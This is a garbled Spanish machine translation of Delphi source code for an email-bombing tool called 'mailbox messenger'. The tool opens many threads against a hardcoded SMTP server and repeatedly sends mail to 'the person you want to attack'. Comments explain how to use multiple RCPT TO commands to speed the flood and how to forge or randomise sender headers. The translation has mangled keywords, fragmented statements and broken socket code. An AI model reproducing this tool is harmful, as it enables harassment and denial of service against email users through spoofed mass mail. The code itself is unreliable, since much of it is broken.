Cómo utilizar Delphi para escribir un programa para enviar correos electrónicos en línea
windows,messages,winsock,sysutil
{$R *.
RES
const
CRLF
=#13#10
exename:pchar='mailbox messenger'
var
thd:array[1.. .1000] de entero
tid.array[1...1000] de dword
faint,hMutex,mcount,speed,newtime,oldtime,
um
,count,err:integer
:string
uf matriz[0...1024] de char
dest. :string
attstart:boolea
//----------------------
wClass: TWndClass; //Variable de clase de ventana
Msg: TMSG; //Variable de mensaje
hInst, //Instancia de programa
Manejador, //Ventana principal Identificador
hFont, //Identificador de fuente
//----------------
hPero
a
Inicio, //Botón de inicio
hPero
a
, //Botón de parada
hButtonHelp, //Botón de ayuda
hButtonExit, //Botón Salir
hEditE
correo
, //e-
correo
Edit
hEditCount, //Número de ediciones
hEditThread, //Número de hilos de edición
hLabelE
correo
, //indicador de correo electrónico
hLabelCount, //indicador de recuento
hLabelThread, //solicitud de recuento de subprocesos
hLabelInfo//solicitud de collar
: integer; //tipo de identificador
//----- --- ------------//Vaya a escribir un título para la ventana
El proceso WriteCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_SETTEXT,0 ,integer(text));end
//Leer título desde una ventana
procedimiento ReadCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_GETTEXT,400, integer(text));end
//El siguiente es el proceso de conexión a la red
función StartNet(host:string;port:integer): integer
var
wsa
datos
:twsa
datos
fsocket:integer
SockAddrIn:TSockAddrI
err:integer
egi
>
// Preparar la conexión de red (usando winsock 1.1+)
err:=WSAStartup($0101,WSA
Datos
// Crear socket de cliente (
Cliente
Socket, use SOCK_STREAM, es decir:
Cliente_STREAM) e.
TCP
Concordancia)
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
//Inicializar datos de red
SockAddrIn.sin_addr.s_addr := inet_addr(PChar (host))
SockAddrIn.sin_family := PF_INET
SockAddrIn.sin_port := htons(PF_INET, SOCK_STREAM, IPPROTO_IP)
SockAddrIn .sin_port.s_addr : = htons(PF_INET, SOCK_STREAM, IPPROTO_IP)
procedimiento SendMail
var SendBody:string
FSocket:integer
egi
repetir
//Especifique la dirección del host smtp, que es smtp.21.cn.com.cn.com. Su dirección IP es (202.104.32.230)
/Especifique el puerto de salida del host smtp, el valor predeterminado es 25
FSocket:=StartNet('202.104.32.230',25)
//-------A continuación se muestra el procesamiento de cada paso en el proceso de envío-------
/--- - ----------------------------------
// Paso 1: Enviar comando HELO , indicando que quiero comenzar a enviar correo
SendData(FSocket,'HELO'+
CRLF
/ Paso 2: Enviar CORREO
FROM
comando, especifique la dirección de correo electrónico del remitente
// Tenga en cuenta que muchos hosts SMTP solo pueden permitir que usuarios legales locales envíen correos electrónicos
// Por lo tanto , la dirección de correo electrónico del remitente debe ser un usuario legal en el host de envío
// De lo contrario, el correo electrónico no se puede enviar. Por ejemplo, hack001 es smtp.com es un usuario legal. p>SendData(FSocket, 'MAIL
DESDE
: <'+
CRLF
"> hack001@21cn.com> '+CRLF)
// Paso 3: envía el comando RCPT TO a la dirección de correo electrónico del usuario objetivo, que es la dirección de correo electrónico de la persona que deseas atacar
// En este paso , puedes usar múltiples El comando RCPT TO apunta al mismo objetivo, lo que puede acelerar enormemente el ataque
// Pero esto no es efectivo para 163.net.
net ha agregado un mecanismo de filtrado
SendData( FSocket,'RCPT TO: <'+dest+'>'+CRLF)
// Paso 4: envíe el comando DATA, es decir , a SMTP El host envía datos
SendData(FSocket,'DATA'+CRLF)
// Paso 5: envía datos específicos, incluido el siguiente contenido (sobre y cuerpo):
//p>
De
: la dirección del remitente puede ser un usuario falso (puede generarse aleatoriamente), seguido de CRLF (es decir, retorno de carro y avance de línea). Es decir, retorno de carro y avance de línea)
/Destinatario: dirección del destinatario, que puede ser un usuario falso (puede generarse aleatoriamente), seguida de CRLF
/asunto. "bome 2001"<'+CRLF"> bome@hacker.com>'+CRLF
+'Para:"bome 2001"<'+CRLF"> bome@hacker.com>'+CRLF
+'Para:"bome 2001"<'+CRLF">' +CRLF
SendBody:='Para:"bome 2001"<'+CRLF">. .com>'+CRLF
+'Asunto:Nuevo Bome 2001.'+CRLF
+CRLF
+'Hola Mundo.'+CRLF p>
+''.+CRLF
SendData(FSocket,SendBody)
// Paso 6: Enviar el comando final QUIT para indicar el final del proceso de envío
EnviarDatos(FSocket,'SALIR'+CRLF)